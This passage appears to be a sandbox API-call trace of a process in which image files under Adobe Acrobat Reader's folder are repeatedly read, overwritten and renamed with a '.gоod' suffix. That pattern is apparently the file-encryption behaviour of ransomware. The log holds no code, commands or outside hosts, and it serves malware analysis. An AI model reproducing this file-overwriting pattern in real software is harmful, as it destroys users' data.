returned 1 [0111.820] GetFileType (hFile=0x7c8) returned 0x1 [0111.820] ReadFile (in: hFile=0x7c8, lpBuffer=0x35d27e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x35d27e0*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0111.927] CloseHandle (hObject=0x7c8) returned 1 [0111.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.928] GetFileType (hFile=0x7c8) returned 0x1 [0111.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.928] GetFileType (hFile=0x7c8) returned 0x1 [0111.928] WriteFile (in: hFile=0x7c8, lpBuffer=0x33f48a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x33f48a8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0111.928] CloseHandle (hObject=0x7c8) returned 1 [0111.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png", lpFilePart=0x0) returned 0x69 [0111.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png.gоod", lpFilePart=0x0) returned 0x6e [0111.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0111.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3eec5903, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x73a4)) returned 1 [0111.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0111.929] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons.png.gоod")) returned 1 [0111.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0111.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0111.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3464170 | out: lpFileInformation=0x3464170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac)) returned 1 [0111.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0111.930] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0111.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.930] GetFileType (hFile=0x7c8) returned 0x1 [0111.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.930] GetFileType (hFile=0x7c8) returned 0x1 [0111.930] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0111.930] ReadFile (in: hFile=0x7c8, lpBuffer=0x3464658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x3464658*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0111.932] CloseHandle (hObject=0x7c8) returned 1 [0111.932] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0111.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.932] GetFileType (hFile=0x7c8) returned 0x1 [0111.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.932] GetFileType (hFile=0x7c8) returned 0x1 [0111.932] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x104ac [0111.932] WriteFile (in: hFile=0x7c8, lpBuffer=0x3465958*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x3465958*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0111.933] CloseHandle (hObject=0x7c8) returned 1 [0111.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0111.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0111.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.933] GetFileType (hFile=0x7c8) returned 0x1 [0111.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0111.933] GetFileType (hFile=0x7c8) returned 0x1 [0111.933] ReadFile (in: hFile=0x7c8, lpBuffer=0x3467c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3467c80*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0112.723] CloseHandle (hObject=0x7c8) returned 1 [0112.723] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0112.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0112.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0112.723] GetFileType (hFile=0x7c8) returned 0x1 [0112.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0112.723] GetFileType (hFile=0x7c8) returned 0x1 [0112.723] WriteFile (in: hFile=0x7c8, lpBuffer=0x3364e48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3364e48*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0112.724] CloseHandle (hObject=0x7c8) returned 1 [0112.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png", lpFilePart=0x0) returned 0x70 [0112.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png.gоod", lpFilePart=0x0) returned 0x75 [0112.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0112.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3f65eeff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x104bc)) returned 1 [0112.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0112.724] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\core_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\core_icons_retina.png.gоod")) returned 1 [0112.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", lpFilePart=0x0) returned 0x6d [0112.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0112.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png"), fInfoLevelId=0x0, lpFileInformation=0x35418f8 | out: lpFileInformation=0x35418f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b)) returned 1 [0112.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0112.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", lpFilePart=0x0) returned 0x6d [0112.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0112.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0112.725] GetFileType (hFile=0x7c8) returned 0x1 [0112.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0112.725] GetFileType (hFile=0x7c8) returned 0x1 [0112.725] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x44b [0112.726] ReadFile (in: hFile=0x7c8, lpBuffer=0x35420a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x35420a0*, lpNumberOfBytesRead=0x1fdec3e8*=0x44b, lpOverlapped=0x0) returned 1 [0112.727] CloseHandle (hObject=0x7c8) returned 1 [0113.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", lpFilePart=0x0) returned 0x6d [0113.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0113.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0113.016] GetFileType (hFile=0x7dc) returned 0x1 [0113.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0113.016] GetFileType (hFile=0x7dc) returned 0x1 [0113.016] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e6ee8*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x35e6ee8*, lpNumberOfBytesWritten=0x1fdec2f8*=0x450, lpOverlapped=0x0) returned 1 [0113.017] CloseHandle (hObject=0x7dc) returned 1 [0113.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png", lpFilePart=0x0) returned 0x6d [0113.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png.gоod", lpFilePart=0x0) returned 0x72 [0113.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0113.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3f933b6a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1 [0113.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0113.017] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\dd_arrow_small.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\dd_arrow_small.png.gоod")) returned 1 [0113.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0113.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0113.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x35e8268 | out: lpFileInformation=0x35e8268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c)) returned 1 [0113.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0113.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0113.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0113.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0113.018] GetFileType (hFile=0x7dc) returned 0x1 [0113.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0113.018] GetFileType (hFile=0x7dc) returned 0x1 [0113.018] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0113.019] ReadFile (in: hFile=0x7dc, lpBuffer=0x35e86f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x35e86f0*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0113.020] CloseHandle (hObject=0x7dc) returned 1 [0113.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0113.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0113.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0113.020] GetFileType (hFile=0x7dc) returned 0x1 [0113.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0113.020] GetFileType (hFile=0x7dc) returned 0x1 [0113.020] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x209c [0113.020] WriteFile (in: hFile=0x7dc, lpBuffer=0x35e99c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x35e99c0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0113.021] CloseHandle (hObject=0x7dc) returned 1 [0113.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0113.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0113.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0113.021] GetFileType (hFile=0x7dc) returned 0x1 [0113.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0113.021] GetFileType (hFile=0x7dc) returned 0x1 [0113.021] ReadFile (in: hFile=0x7dc, lpBuffer=0x35ebcb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x35ebcb8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0114.102] CloseHandle (hObject=0x7dc) returned 1 [0114.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0114.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 